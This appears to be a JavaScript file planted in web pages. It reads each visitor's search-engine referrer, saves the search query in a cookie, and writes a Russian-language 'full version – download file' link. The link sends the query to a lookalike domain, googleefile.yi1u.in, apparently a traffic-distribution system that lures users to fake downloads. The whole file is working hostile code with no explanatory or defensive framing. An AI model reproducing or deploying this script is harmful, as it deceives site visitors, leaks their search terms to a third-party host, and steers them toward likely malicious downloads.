BCB = {};
BCB.r_tds = false;
BCB.f_tds = false;
BCB.a_s = false;
BCB.delete_words = "скачать бесплатно";
BCB.setCookie = function(name, value) {
	var expires = new Date();
	expires.setTime(expires.getTime() + (60 * 60 * 1000));
	var curCookie = name + "=" + escape(value) + ";expires=" + expires.toGMTString() + "; path=/;";
	document.cookie = curCookie;
};
BCB.getCookie = function(name) {
	var prefix = name + "=";
	var cookieStartIndex = document.cookie.indexOf(prefix);
	if (cookieStartIndex == -1) return '';
	var cookieEndIndex = document.cookie.indexOf(";", cookieStartIndex + prefix.length);
	if (cookieEndIndex == -1) cookieEndIndex = document.cookie.length;
	return unescape(document.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex));
};
BCB.ses = [
	[/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
	[/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2],
	[/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
	[/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
	[/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
	[/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
	[/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
	[/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
	[/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2],
	[/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
	[/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
	[/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
	[/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]
];
BCB.BCB = function(ref) {
	var q=null;
	for(var i=0; i<BCB.ses.length; i++) {
		var se = BCB.ses[i];
		if (ref.match(se[0])) {
			q = ref.match(se[1]);
			if (q) q = q[se[2]];
			if (q) BCB.setCookie('bc_ref', q);
			break;
		}
	}
	if (!q && BCB.getCookie('bc_ref')) {
		q = BCB.getCookie('bc_ref');
	}
	if (q) {
		var q = decodeURIComponent(q).replace(/\++/g, ' ');
		var bcb_delete_words_array = BCB.delete_words.split(" ");
		for (i=0; i<bcb_delete_words_array.length; i++) {
			q = q.replace(new RegExp(bcb_delete_words_array[i], "gi"), '').replace(/\s+/, ' ');
		}
		var c_url='http://googleefile.yi1u.in/'+'?r=7635&q='+encodeURIComponent(q)+(BCB.f_tds? '&f=1' : (BCB.r_tds? '&t=1' : ''))+(BCB.a_s? '&as=1' : '');
		document.write('<table style="background: none repeat scroll 0% 0%; color: rgb(107, 107, 107);"><tbody><tr><td style="font-size: 14px; padding: 5px 8px;" colspan="2"><b></b></td></tr><tr><td> &nbsp; &nbsp; </td></tr><tr><td> &nbsp; &nbsp; </td><td style="font-size: 14px; padding: 5px 8px;"><a style="color: rgb(0, 0, 255);" target="_blank" href="'+c_url+'">Полная версия <b>'+q+'</b> </a></td><td style="font-size: 14px; padding: 5px 8px;">- скачать файл с полной информацией</td></tr></tbody></table>');//e
	}
};
BCB.BCB(document.referrer);
